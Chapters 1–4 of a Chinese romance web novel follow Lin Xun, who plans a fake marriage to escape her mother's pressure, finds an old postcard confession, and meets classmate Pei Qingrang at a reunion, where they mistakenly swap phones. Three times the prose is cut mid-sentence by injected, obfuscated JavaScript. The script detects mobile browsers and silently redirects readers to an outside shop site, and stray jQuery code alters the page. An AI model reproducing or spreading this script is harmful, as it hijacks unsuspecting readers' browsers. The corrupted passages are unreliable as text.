《我的便宜老公》 1. 第 1 章 “林姰,上次刘阿姨推你微信的男生,你加了没有?” 崔女士对着林姰念紧箍咒这会,林姰正蹬上帆布鞋准备出门:“加了又删了。” 崔女士皱眉:“你删人家做什么?你这样我怎么跟你阿姨交代?” 林姰冤枉极了:“不是我删他,是他删我。” 但也不能怪崔女士冤枉她,因为至今没有一个相亲对象能在林姰的手机存活超过一天。 崔女士狐疑:“为什么?” 林姰无辜道:“他说女人不生孩子不完整,我说那你天生不完整。” “结婚当然要生孩子,就算一开始不生,到以后也是要生的,不然他就会到外面找别人生……” “那就去外面找人生呗,到六十岁我逍遥快活,他还要一头白发给儿子还房贷。” 崔女士听不下去了:“你就非得说话带刺是不是,你也就是现在……” 林姰背课文似的往下接:“我也就是现在年轻漂亮可以挑挑拣拣,等我过了三十岁就没人要了,到时候只会给我介绍二婚带娃的,我哭都没地方哭去……但我觉得我起码能再漂亮五十年吧?” 而且没人要有什么好哭的呢?没人要是天大的好事,大不了包.养.水灵灵的男大学生。 “你别只是喊口号,要落实到实际行动中。”在体制内工作了一辈子的崔女士,官腔又起来了。 林姰“嗯、嗯”地应着,扣上鸭舌帽背上帆布包,满嘴跑火车:“放心,我今年肯定把婚结了。” 她拉开门,崔女士在身后问:“你去哪儿啊?” 林姰朝着亲妈粲然一笑:“见我的未婚夫去。” - 林姰今年二十七岁,名校计算机专业毕业,现在在科技公司上班。 但是在老思想的妈妈眼里,就只是一个嫁不出去的大龄剩女而已。 她到咖啡厅的时候,男人已经等在那里。 中等个头、中等身高,穿格子衬衫,过目就忘的一张脸。 他说自己一米七五,林姰觉得他说的可能是质量——身高的话不太可能,因为他坐下之后还没有自己高,她一米七二。 林姰是个颜控,喜欢眼睛好看的男人,禁欲系清冷挂最戳她的xp。 眼前这位的卖相,属于她在大街上不会多看一眼的类型。 男人扶了扶眼镜:“林小姐为什么要假结婚?” 林姰很直白:“为了不被逼着相亲,顺便收回份子钱。” “可是以你的条件,不难找到男朋友吧?喜欢你的人应该很多吧?” “是很多,也很烦。” 咖啡厅里,有人听见她这样说“噗嗤”笑出声,又在转头看见她的脸的时候,瞬间噤声敛起笑意,因为那张脸太有说服力。 平心而论,林姰和乖巧、甜美完全不沾边,她长了一张攻击性十足的漂亮脸蛋,短脸、野生眉、上挑猫眼,漆黑瞳仁透着无畏也透着野心,不言不语的时候看起来脸很臭也很不好惹。 一般她这种长相,在韩剧里都是恶毒反派女二。 “那假结婚你是怎么计划的呢?” “不拍婚纱照,不办婚礼,不领证,需要你出现的时候你出现一下,我会按照出场次数给你日结工资,等时机合适了就说已经离婚。” 她就不信了,等自己变成二婚,妈妈还会催婚吗。 男人踌躇,几次欲言又止没憋出半个字。 林姰不是拖泥带水的人:“你想说什么?” 男人扶了扶眼镜,他本来也是不想相亲想找人假结婚骗父母,万万没想到对方美得惊人。 尽管她看起来就很“费钱”、很不安分很不让人放心、十指不沾阳春水肯定不会做家务,但他觉得只要她愿意跟他结婚,他愿意养她的。 手心已经渗出细密的汗,心脏疯了一样撞击胸腔,原来自己不是不想结婚,是没遇到那个让自己心动的人。 “也许你不想结婚,只是因为你没尝过男人的好呢?” 他这是在跟她开黄腔吗? 林姰被气笑了,阳光透过落地窗,她的肌肤透出珍珠般莹润的白,明明乌发雪肤美得惊人,嘴却淬了毒:“看来你尝过了,失敬失敬。” 她起身往外走,顺便点开微信把手机联系人里的“3号结婚搭子”拉黑。 就不能有个宽肩窄腰一米八八清清爽爽干干净净的大帅哥跟她假结婚吗? 而咖啡厅内,在她刚才坐的位置后面,有人笑喷了—— “这年头都不流行相亲了,流行相‘结婚搭子’是吗?你最近也被家里逼得很紧吧?要不你去拦下那女孩,你俩合作得了。” 对面斯文矜贵的男人没有说话,只是眼睛看着窗外。 他也顺着他的目光看过去:“哎,这女孩好像有点眼熟,我怎么觉得见过……” 出租车在她面前停下,她拉开车门上车,裙摆一抹幽幽流动的绿晃过。 后座车窗里,最后画面是她把推到额头上方的墨镜扣了下来,遮住小半张脸。 鼻尖挺翘,下巴微尖,又酷又漂亮。 沉默不语的男人终于开口,声音轻而凝定:“七班,林姰。” - 林姰和好友约在高中旁边的书店见面。 那是本市最大的书店,甚至随着旅游业发展已经成为网红景点,最出名的便是那道明信片墙,十几年如一日地承载着无数人无法宣之于口的情愫。 林姰到的时候,好友祝余靠窗坐,已经点好无花果蛋糕和水果茶等她。 祝余好奇:“这个结婚搭子怎么样?” 林姰摇头:“比上一个还要奇葩。” 祝余担忧:“那你打算怎么办?看你爸妈那架势,只要你一天不结婚,就一天不会收手。” 林姰若有所思:“实在不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172428|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我找个群众演员?” 祝余为她敲响警钟:“如果他敲诈你勒索你怎么办?万一对你起了什么歹心,就算你撸铁遇到危险也打不过男人!” 林姰单手托腮,去看窗外穿着校服喝着奶茶往学校走的少年少女:“那我该怎么办?” 祝余轻声细语道:“你真的不想谈恋爱结婚吗?说不定你是在遇到对的人之前自己先绝望了呢?说说,你喜欢什么样子的?” 林姰仔细想了想:“我颜控手控,起码要肤白貌美八块腹肌个高腿长,情绪稳定性格温柔,还愿意跟我丁克不要孩子,这样的话,我愿意考虑考虑……” “我小说男主都不敢这样写,”祝余为她出谋划策,“如果你找人配合你演戏,必须知根知底才行,高中同学的话最好。” 她提议:“过几天有同学聚会,跟我一起去吧?我给我的小说找灵感,你给你的结婚搭子找灵感。” 林姰兴致缺缺:“牛马下班只想床上躺着。” 祝余:“有个人好像很符合你的要求。” 林姰:“谁?” “裴清让裴大校草啊,他是不是爷爷辈有斯拉夫血统来着?那张脸是真的顶!” “想什么呢,”时间不早,林姰和祝余一起往外走,“八竿子打不着的人。” 回家前,两人一起路过那面满是明信片的墙。 满满当当一墙留言,字迹尚且轻狂年少,却也朝气蓬勃。 ——大学9月等我! ——我的爱豆身体健康天天开心! ——高三十班的裴清让同学,我真的很喜欢很喜欢你。 突然间,祝余惊呼:“林姰!你看这张!这是谁写的啊?这个字迹你认识不认识?” 林姰不知道好友在兴奋什么,只是快步走到她的身边,顺着好友手指的方向看过去,看到什么,目光霎时凝滞—— 【大胆去做你想做的事,你做什么都不会错的。 我们可能不会再遇见了,但这世界上仍有一个我,在为你的存在本身高兴。 林姰同学,毕业快乐。】 高中毕业十年。 苦闷无趣的大人林姰,没有任何防备,和十年前干净纯粹的喜欢撞了个满怀。 已经到了只想要金钱权力地位的年纪,对任何男性都已祛魅,能一眼看出对方的肮脏心思。 却从未想过,自己疲惫不堪的人生里,竟然还有一份这样让人心脏柔软的、干干净净的喜欢。 以至于这个瞬间,她的鼻子莫名一酸。 他可能等了很久。 纸页泛黄,字迹斑驳,被遮挡在层层叠叠的明信片之下。 不言不语,甚至不期待于被发现,就只是在无人处祝福着她。 此时此刻,命运恩赐,时间静止。 隔着长长的时空隧道,二十七岁的林姰和十七岁的少年遥遥相对,猝不及防相遇了。 2. 第 2 章 明信片落款十年前,高考结束之后。 “大胆去做你想做的事”,大概是十七岁的的林姰、最想听见的话。 记忆深处潮湿的雨天去而复返,高考结束她兴冲冲跑回外婆家,父母在体制内实权部门忙到飞起,她是外婆带大的。 高三学习紧张,她好久没有见过她亲爱的小老太太,已经想好用一整个暑假陪着她聊天、逛早市,睡觉也要粘在外婆身边。 唯独没有想过,会在推开门的刹那,看到客厅正中的黑白遗照。 他们说不想影响你高考所以没有告诉你,我们是为了你好。下一句便是,高考考得怎么样? 独断专行地剥夺她见外婆最后一面的机会,恰如从小到大独断专行地为她作出每一个决定。 明明,高考今年可以考,明年可以考,带她长大的外婆只有一个,见不到,就再也见不到了。 雨从外婆离开就下个不停,悲伤、委屈、愤怒、无力反抗的压抑像潮气寸寸侵入肌肤血肉骨髓,长成她的第一根反骨。 优异的高考成绩让父母大喜过望昭告全天下,她却当头泼下冷水说她会出国,早就准备好的雅思成绩成为她蓄谋已久的罪证。 任凭父母在身后大发雷霆,她拉起行李箱说走就走。 只是,当她一个人站在迎来送往的机场。 目光所及亲友送别,同她一般大的女孩抱着妈妈哭得眼睛通红。 她频频回头,频频张望。 一而再再而三地确定,身后真的空无一人。 如果外婆还在…… 外婆一定会来送她的。 可是,可是外婆已经不在了啊。 林姰小声在心里说外婆再见,毅然决然转身。 有人喊她名字,像她在最孤立无援时产生的幻觉,轻易淹没在人潮汹涌之中。 不会有人来送她的。 眼泪夺眶而出,她再也没有回头。 飞机飞上万米高空,她在一瞬间长成大人。 …… 祝余的声音把她拉回现实:“分分钟脑补一本男主暗恋女主十年、久别重逢的小说。” 林姰久久不能回神。 非常锋利惊艳的行书,写明信片的人一定临摹过宋徽宗的字帖,因高中时她临摹过,所以一眼就能认得出,却不知道班里谁是这样的字体。 祝余挽着她的手臂晃晃:“同学聚会一起去嘛,说不定明信片同学听说你去,也会出现。” 她戳开同学群:“别犹豫啦,我在群里报名了啊。” 说着写上两人的名字,点击发送。 林姰抿唇:“现实不是小说。” 怎么可能有一个人,不抱希望地暗恋一个人十年。 - 林姰忙起来就忘记了明信片的事情。 周五,她卡点到公司打卡,早到一分钟都是对自己的虐待。 她所在的乐游科技是一个算法公司,林姰做的是智能座舱,也就是新能源汽车上包括屏幕、语音设备在内的软件和硬件。 “林姰,早啊。” “早。” 同事赵然凑过来:“听说没,进口芯片又要涨价了。” 智能座舱离不开芯片,就像鱼离不开水,林姰声音平稳:“涨价也得上赶着送钱,芯片我们只能依赖进口,除非有自己的国产芯片。” 实习生粥粥捧着平板从两人中间强势插进来:“苍梧科技开发布会了!” 苍梧科技,国内芯片行业的头部玩家,市值超千亿的独角兽企业。 让苍梧科技真正出名的,一是算力,二是创始人裴清让冷若霜雪但美貌的脸。 据说这位创始人清华本、MIT硕博、研发出身,寥寥几次亮相采访都不怎么友好的样子,奈何那张英俊面孔直击人心 “今日,苍梧科技在京召开「图南一号」发布会,作为国内首款 7 纳米车规级 SoC 芯片,「图南一号」的量产及供货,将彻底打破国产智能座舱被进口芯片垄断的局面。” 新闻里的男人衬衫西裤,身形笔挺堪称禁欲系天花板,眉眼却惊艳得让人过目难忘——无可挑剔的眉骨线条,朗月清风不可比拟的清透眼睛,恰到好处、符合国人审美的混血感,看着他的眼睛就好像已经和他吻上了。 当林姰点开评论区,画风早就跑偏—— 【红豆生南国,苍梧生男模!!!】 【清华本、MIT硕博、百亿身家,这是什么智性恋天菜?】 【啊啊啊不敢想象和他亲嘴有多快乐!!!!!】 【你们不觉得他长了一张很会do 的漂亮脸蛋吗?】 【他爹的天生老公.jpg】 【他爹的天生尤物.jpg】 让人很难不怀疑,新闻发布会派裴清让亲自召开也是一种公司战略,毕竟,就算对芯片不敢兴趣,也会对他的脸感兴趣。 林姰看完视频,若有所思道:“如果我们的座舱系统放弃进口芯片,采用国产芯片呢?” 路过的陈万豪不屑道:“国产芯片能行吗?到时候车生产出来,人家一听用国产芯片就觉得低人一等。” 林姰冷静分析:“「图南一号」的算力已经可以和进口芯片最强产品一决高下。” 恰巧跟供应商谈判的副总裁这时回来,估计是价格没谈拢,脸色很难看:“林姰,你写一篇详尽的报告比对进口芯片和苍梧芯片,必要的时候我们也可以放弃进口,和苍梧接触看看。” 林姰利落应下。 “你上司离职这么久,产品部门还一直没有新的负责人,”赵然戳戳她的肩,“副总裁都直接安排你工作了,这次提拔八成是你。” 林姰打开电脑搜集苍梧的资料,远没有这样乐观:“任命一天不下来,这事儿就没有定论。” - 晚上七点,林姰到达同学聚会的地点。 对于大厂牛马来说,下班只想拒绝一切社交回家躺着,只是,她也会好奇那张明信片是谁写的、是不是他们班同学。 祝余遗憾道:“可惜今晚同学聚会裴神来不了了,本来还幻想为我的霸道总裁文积累素材呢,结果大佬在京开新闻发布会……” 林姰想,就算不开发布会,他这种薪资以分钟计算的人,也不太可能来参加同学聚会吧。 两人推门走进包厢。 高中同学迎上来:“林姰!从你出国后就没见过了!” 林姰应声:“好久不见。” “现在在哪工作?” “乐游科技。” “我知道你们公司,AI和大模型很厉害,现在也转战汽车业务了。” “是,都想抓住风口狠赚一笔。” “那你们是不是有可能和苍梧合作?” “我确实在做苍梧科技的功课。” “当初那些资本主义国家恨不能置苍梧于死地,又是断供又是制裁又是禁令,最后还是裴神厉害。” “裴大校草也太顶了,开得艳花期还长,发布会我都没听见他说什么,只顾着看脸了……” 酒足饭饱,不知是谁提议玩起真心话大冒险。 酒瓶摆在桌子正中,瓶口转到谁谁就是天选倒霉蛋。 林姰百无聊赖,祝余冲她眨眼:“我一会儿就问‘在场有没有你暗恋的人’,说不定能给你找出明信片同学!” 林姰笑着摇头:“找出来还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172429|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎样呢?” 他应该早就不喜欢她了,又或者说,他喜欢的是十七岁勇敢自由的林姰,不是现在这个一身班味透着淡淡死意的无趣大人。 或许人一生,遇不到一次这样干净热烈的喜欢,但是遇到了,就已足够幸运。只是遗憾,没有在十年前看到那张明信片,亲口跟他说一句谢谢。 游戏将聚会气氛推到高潮,高强度工作一天的林姰觉得吵闹,想要起身出去透气。 就在她起身时,那人推门而入,空气明显有两秒钟凝滞。 震撼人心的中国青年,异国血统已经进化成最符合国人审美的样子,黑发黑瞳,骨相近乎完美,兼具东方的含蓄和精致,耳边传来女生们同时倒吸一口气的声音。 “抱歉,我来晚了。” “从北京到晏城,飞机也就刚落地吧?” 刚好林姰身边有空位置,他往里走时,西装裤擦过她的长裙裙摆,清冷香气如同雪后初霁,好闻到让人想深呼吸。 上午在屏幕里看到的人,晚上就出现在面前,正装外套拎在手里,身上是C家的白衬衫和黑色西装裤,领带不知道哪儿去了,领口开着扣子,颇有几分玩世不恭。 林姰喜欢这家的衣服,秀场总穿在矜贵倨傲的欧洲男模身上,裴清让清瘦且白,与生俱来的贵气,倒是把这个品牌的性冷风发挥到极致。 会是……他吗。 下个瞬间又推翻自己的念头。 怎么可能。 他们整个高中交集都很少,高一时短暂同桌过,后来他去竞赛班,都不在一个楼层了。 唯一印象深刻的是,她讨厌在人多的高峰期去食堂吃饭,总是刻意晚去,他和自己一样,所以会在楼梯拐角遇见,点点头打个招呼。 对他的印象,是一个吃饭不太积极的帅哥,仅此而已。 “裴神!你来晚了,罚你真心话大冒险各一个!” 他轻扬眉,并不扫兴:“好。” 祝余抢占先机:“在座的各位里有你喜欢过的人吗?” “喜欢过,”男人的声线平稳清晰,“没有。” 也是,这样一张招桃花的祸害脸,只有别人喜欢他的份儿。 林姰觉得自己很好笑,竟然在猜这个人会不会是裴清让,纯粹见色起意罢了。 “大冒险就简单一点好了。” 他不言不语坐在那,上位者的气势逼人,就算是老同学也没人敢造次,起哄也是点到为止:“点开手机里的第一张照片,说出它的故事。” 林姰想到自己,不管换多少个手机,总要不厌其烦地把自己和外婆的合影导入。 所以很多时候,第一张照片,意义非凡。 裴清让把手机解锁,极简的黑色机身,没有任何装饰,竟和自己同款。 他点开相册,划到第一张照片的位置,放在桌上,任由人看。 照片里人潮汹涌,“中国海关”的标志异常醒目,十年前林姰第一次出国,曾站在那里,频频张望。 “所以这张照片是?” “2011年,晏城机场。” “那就是我们高考那年啊。” 2011年,不知道为什么,林姰蓦地想到那张明信片。 那个未曾谋面的男生是怎样的心情,祝她毕业快乐。 “为什么去机场?” 灯光明明暗暗,他在身侧,林姰看到他的脖颈处有一颗淡色小痣,隐匿在喉结的阴影里,看不太清,却很容易让人联想,他身上别的地方是不是也有。 而他就在这时抬眼,两道目光交汇,像玻璃杯中浸在烈酒里的碎冰,猝不及防碰撞在一起。 “去见一个可能不会再见的人。” 3. 第 3 章 ——去见一个可能不会再见的人。 “谁啊?” “女孩吗?” “女朋友?暗恋的人?” “为什么去机场,是送人家出国吗?” “可能不会再见?后来真的没有再见过面吗?” 裴清让的眉眼隐匿在阴影中,瞳仁却比月亮还要亮,散漫提醒:“说好的两个问题。” 恰好这时放在桌上的手机震动:“接个电话。” 他起身往外走,干干净净的气息拂过鼻尖,像薄雾氤氲的清晨推开山中木屋,看见一片落雪的松林,香气都带着冷冽寒意。 聚会组织者、高中班长喝了酒,忍不住感慨:“裴神就是裴神,不管人家现在什么身份,起码心眼正、人品过硬、还爱国!上学那会儿问他题从不藏着掖着,这个解法听不懂给你讲另一个,问他来不来聚会人家开完新闻发布会就飞过来了,说起来,他高二就去竞赛班了……” “不像那个蒋政,高中三年鼻孔看人,前天问他来不来聚会,那态度简直了……” 说到这,他意识到什么猛地打住,而后心虚地往林姰方向看了眼,见林姰没什么反应,急中生智转移话题:“看来裴神真的很把我当兄弟,你们说我去苍梧给裴神打工怎么样?” 众人笑他痴人说梦:“就你,都不用笔试一面二面终面。” “是吧,”班长憨厚笑笑,感动得不行,“裴神真的很重同学情谊。” “醒醒!不是985你连简历筛选都过不了!苍梧都是些什么神仙,你去打扫卫生都得被人智商碾压。” 祝余凑到林姰耳边,忍不住好奇:“你说是什么样的人让裴神惦记啊,毕业十年手机得换无数个了吧?相册里第一张照片都是那天的机场。” 林姰轻声说:“很重要很宝贝的人吧。” 毕竟她手机里的第一张照片永远是和外婆的合影。 “我本来还希望明信片是裴神写的,因为这哥们硬帅还有钱,而且你俩放在一起特别有感觉。” 祝余已经没有一开始玩游戏的兴致,有些丧气:“可惜在场没有他喜欢过的人,甚至有可能,还有一个白月光……” “来吧游戏继续,看看这次是谁!” 林姰的运气不错,瓶口眼看着就要指向她,最后微微一偏,指向别人。 一个在班级里近乎是透明人的女孩子,不怎么爱说话,高三下学期成绩稳步提升,是她们那届的黑马。 时过境迁,女孩身上已经不见当初的拘谨,松弛淡然。 大家跟她不算熟悉,问问题也很含蓄:“学生时代有暗恋的人吗?” 女孩脸庞清秀,目光微微一凝,而后笑着说:“我暗恋过裴清让。” 不算意外的答案,没人为此震惊,班长打趣道:“暗恋过?是过去式了吗?” “嗯,”她深吸口气,笑着说,“没有人能不报希望地暗恋一个人十年吧。” 是啊,大家都很忙的,忙到下班只想放空大脑回家躺着。 哪有闲情逸致暗恋来暗恋去,那都是没经历过社会毒打。 简言之,就是太闲。 有人问:“那你是怎么放下的呢?” 林姰抬头,恰好和她的视线相对。 女孩冲她笑了笑:“只是想到,在我小心翼翼暗恋他的时候,他可能也在小心翼翼地暗恋别人。” 她总能一眼认出他的背影,在喧闹中捕捉到他的声音,为每一次升国旗、课间操能够看到他开心。 她发现,他吃午饭总要晚一些,所以她掐好时间,为了跟他偶遇。 如果他看到自己和自己打招呼,就是赚到,她能为此期待一整天、高兴一整天。 可后来,她才意识到,那个时间去吃饭的不止她和他,还有其他人。 那些她看着他的时刻,他的眼睛也在看着别人。 - 临近九点,聚会快要散场,林姰放在桌上的手机突然震动。 她看了眼来电提示,忍不住皱起眉:“出去接个领导电话。” “去吧去吧,当领导的是不是都活不到周一,休息时间也要打电话。” “就是,周末看到领导信息,这一天都脏了……” 林姰找了个安静的地方,按下接听,脸色很臭,语气却冷静没有情绪,甚至还有几分恰如其分的谦卑:“马总。” “分析报告写得怎么样了?” 林姰汇报:“还需要一些时间完善数据信息,毕竟「图南一号」刚刚发布。”实际她刚新建了个文档。 “行,周一给我。” 你是活不到周二吗。 林姰庆幸脑内字幕不会被人看到,不然她活到今天已经被开除一万遍。 “今晚跟车企吃饭,他们说裴清让是晏大附中的,我没记错的话,你也是吧?” “嗯。” “「图南一号」发布之后,资本上赶着给苍梧送钱,从他助理那边约时间恐怕要到猴年马月,这样,你在中间牵个线,把他微信推给我。” “马总,其实我跟裴清让不熟,也没有他的微信。” “发动一下同学关系,能做到吧?” 能你个大头鬼,你以为都跟你一样没脸没皮,林姰脸上透出淡淡的死意:“好的,周一我会把他的微信和苍梧的分析报告一起交给您。” 电话那边满意了,如果不是升职关键期,这货话语权又相当大,林姰真的不想理他。 手机屏幕暗下去,她没忍住愤愤骂了句:“狗东西。” 一道很好听的轻笑声落入耳边,霎时林姰心脏一提。 当她抬头,窗边那道修长利落的人影,笔直投射在瞳孔中。 他的手机在耳边,显然是在打电话,这声轻笑,不知是笑她,还是笑对面,裴清让垂着眼睛,嘴角的弧度很吸引人:“好了,先挂了。” 嗓音里还有未散的笑意,格外磁性。 林姰瞬间头皮发麻:“好久不见。” 上次见面,还是那年他和同学来英国跨年,新年钟声敲响的那一刻,他们猛然撞见,暴雪纷飞的天气里擦肩而过。 想必他已经忘了,她也没有必要提。 “过得好吗?”他问。 林姰点头:“挺好的。” 刚才的电话内容,是不是都被他听见了? 多年不见的高中同学,开口要联系方式实在冒昧。 更何况现在,他们已经不在一个阶层,上司的上司想要见他都要有人从中牵线。 上班后学到最重要的事之一,就是你对对方同样有利用价值时,你们才能结交。 所以于公于私,她都说不出“我们加个微信”。 那么,等周一找个理由把领导糊弄过去好了。 已经能想象马鸣因为不满拉长的脸了…… “在做苍梧的功课?” 果然电话被他听见了。 林姰大方承认:“进口芯片供应商觉得我们离了他们不行,狮子大开口,刚好苍梧开始「图南一号」的供货,但有些数据不太清晰。” “或许你可以直接问我。” 他应该只是客套一下,毕竟哪有公司创始人给产品当客服的道理。 但林姰还是犹豫了,犹豫自己跟老同学不要脸一点、得寸进尺一点,还是周一去看马鸣因为自己办事不力拉长的老脸。 挣扎许久。 她直视他的眼睛,瞳孔深处仍是干净和无畏:“没你的微信我怎么问?” 月光从高高的窗户外照进来,裴清让被她问得微怔。 他真的很会长,天生让人心动的一张脸,远看惊艳近看精致,浓密睫毛投影,眼睛并不是纯粹的黑,像清透的玻璃球,抿起的嘴角有些冷淡,可越是冷淡,越让人想要亵渎。 片刻后他点开微信,手机递到了她的面前。 手指修长白皙,每一帧画面都是手控福利。 两部同款手机交叠,随着二维码扫描成功的提示音,林姰看到一个跟他形象完全不符的狗狗背影头像。 她点击添加,对话框出现“你们已经是好友”的提示。 男人清冷的声音从头顶落下:“现在有了,拿去跟你的上司交差吧。” - 晚上九点半,聚会散场。 “等校庆的时候我们再聚啊。” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172430|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题没问题!” 桌上两部黑色手机,林姰随手拿起自己的放到包里。 祝余挽着她的手臂:“这趟同学聚会真不白来,我下一本小说已经有了雏形,男主在同学聚会上遇到自己暗恋十年的女孩,抓住机会留下联系方式……” 林姰觉得逻辑不通:“那他之前为什么不表白呢?” “这是个问题,这么多年不表白,活该错过,”祝余眼睛一亮,问林姰:“如果是因为他自己过得很苦呢?女主高中毕业就出国了,就算表白,也没有未来……” 林姰点头:“这个我作为读者,勉强可以接受。” 和祝余道别后,林姰回了一趟爸妈家。 工作之后,她就从家里搬出来租房,现在春夏之交快要换季,夏天的衣服鞋子需要回去拿。 她刚进门换下鞋子,亲妈崔美珍就走过来:“我们单位今年人才引进一个博士。” 林姰一个耳朵进一个耳朵出,她已经尽量少回家,没想到偶尔见面也摆脱不了被催婚,本来母女关系就岌岌可危,她不想再为此吵架。 “妈,”林姰忍无可忍破罐子破摔,“其实我已经有男朋友了。” 崔美珍女士震惊:“什么时候?你怎么不早说?” 林姰:“相亲我是被您骗去的,还没来得及说。” 崔美珍女士在人事口工作,并不那么好糊弄,更何况林姰有前科,当年高考结束让她报电子科技学院,毕业考公进体制。 后来提前批录取结束,她才说自己没有报任何一所国内的学校,任凭家里闹得不可开交,她说走就走。 “你从小主意就大,让你学文你学理,让你考公你进私企给人打工,但是结婚这件事,你一定不能再当儿戏了……” 外婆还在的时候,最放心不下的就是妈妈,用近乎恳求的语气,拜托她这个外孙女帮忙照顾自己的女儿。 所以林姰耐着性子:“妈,我是真的有男朋友了。” 崔美珍审问:“什么时候的事?” 林姰:“就最近。” 崔美珍等着她露出破绽:“做什么的?” 如果说是体制内,那妈妈一定会利用自己的人脉打听清楚,所以她往妈妈的盲区胡扯:“开公司的。” “怎么以前没有听你说过?” “最近公司刚搬迁到这里。” “为你搬来的?” “对啊,”林姰满嘴跑火车,“被我迷得神魂颠倒了呗。” “怎么好上的?” 林姰庆幸自己有个写小说的好朋友,祝余今晚找到的灵感,成为她糊弄家长的瞎话:“他暗恋我很多年,现在终于事业有成来跟我表白了。” “高中同学?” “对。” “大学在哪读的?” “清华本,麻省理工硕博。” 见她说的好像真有这么个人,崔美珍将信将疑:“有照片吗?什么时候有空带回家看看?” 林姰:“行,没问题。” 等下次妈妈再问,她可以说他出国了,再往后,就说他们感情不合分手了。 反正她有一个写小说的好朋友,不怕找不出理由。 林姰本想收拾完东西就走,可小她几乎二十岁的弟弟,粘她粘得不行,只好在爸妈家住下。 洗完澡之后,林姰准备玩会儿手机,随手给手机解锁,密码是她的生日0601。 可当她解锁之后,目光霎时一凝—— 她的手机壁纸是发财暴富的财神爷,而这个手机的壁纸是皑皑白雪、驯鹿成群。 是手机更新自动更换壁纸了吗? 可是她明明没有设置自动更换。 所以……散场的时候混乱,她拿错手机了? 可既然是拿错了,为什么能用自己的生日解锁? 林姰脑袋发懵,简直怀疑是什么平行世界。 就在这时,手机屏幕亮起。 会是手机主人发现拿错手机,打电话来了吗? 她迟疑着按下接听,全然陌生的男声从听筒那边传来—— “庆功宴都不参加就急匆匆赶回去,见着你的白月光了?” 4. 第 4 章 ——庆功宴都不参加就急匆匆赶回去,见到你的白月光了? 庆功宴…… 苍梧科技的庆功宴吗? 所以……真的是裴清让的手机。 同学聚会的时候他们位置相邻,手机都放在桌子上,包厢光线昏暗,散场的时候多少有些混乱,这个喝多了那个又要帮忙叫代驾,所以一不小心就拿错了。 林姰冷静开口:“您好,我拿错手机了。” 电话那边听到是个女声,完全没反应过来什么情况:“什么?不是裴清让吗?” “不是,”林姰解释道:“我是他的高中同学,今晚同学聚会,我俩手机太像,所以一不小心拿错了。请问您有办法联系他吗?” 电话那边的男人爽朗道:“有,我打个电话试试,一会儿我让他自己联系你。” 林姰:“好的,麻烦您了。” 对于牛马来说,想要把工作和生活完全区分开,一个人有几部手机都不稀奇,更别提裴清让这个位置的人。 林姰也是一样,手机号和微信号都有两个,下班后工作微信、电话基本冷处理,纯粹是不想工作渗透她的生活。 没多会儿,裴清让的手机屏幕亮起,备注单一个“裴”字。 林姰没有多想直接按下接听。 耳边响起脆生生的女孩声音:“哥,你明天回晏城吗?明晚回家吃饭吗?” “不好意思,我……” 林姰的话还没说完,女孩已经发出土拨鼠般的尖锐暴鸣:“奶奶!我哥有女朋友了!您不用再给他介绍女孩子了!” 林姰被这一嗓子给喊懵,刚要开口解释,就听到一个老太太回应:“我才不信呢,他就是白长了一张脸,在讨女孩子欢心这方面没有半点天分……” 女孩刻意压低声音:“真的真的!是女生接的电话!” 虽然是气音,甚至可能还捂住了听筒,林姰还是听得清清楚楚,以及后面老人家那句:“那你还不快挂断电话,一点眼力见都没有!” “哦哦哦!”林姰还没回神,女孩的声音再次在耳边响起:“不好意思打扰了亲爱的未来嫂子期待跟你的见面么么哒!” 电话被迅速挂断,暗下去的手机屏幕映出自己全程状况外的脸。 林姰抿唇,她好像给裴清让惹了麻烦,刚才应该问一下他的电话是多少再接的。 所以……裴清让也正在被家里催婚吗? 如果是这样,他们倒是有些同病相怜。 等手机屏幕再次亮起,林姰怕错过他本人的电话,却又怕再给他造成什么误会。想好等对方出声再说话,如果不是他本人,那她就不出声了。 她再次按下接听。 “你好,裴清让。” 他的声音本就好听,干净清澈带着冷意,第一次在电话里听见,更加磁性,林姰的耳朵好像小小麻了一下。 原本不是很熟悉的高中同学,这个瞬间听见是他,却松了一口气。 “我是林姰,我们手机是不是拿错了?” “是,你看什么时间方便,我去找你。” 墙上的挂钟时针马上要对准十一点,林姰征求他的意见:“你的手机会有紧急的电话吗?今天是不是太晚了?” 他问:“你有备用吗?” 林姰:“有的。” 他提议:“那明早?” 林姰:“好。” 电话就此挂断。 林姰把他的手机放在一边,躺在床上闭上眼睛。 “急匆匆赶回去”、“白月光”、“我暗恋他的时候他也在小心翼翼暗恋别人”、“见一个可能不会再见的人”……这些并不连贯的碎片,好像能串联成不为人知的酸涩往事。 高中时期,她对他的印象,停留在“吃饭不太积极的帅哥”,除此之外就是打竞赛的神仙、早早拿到保送资格不用参加高考,并无其他。 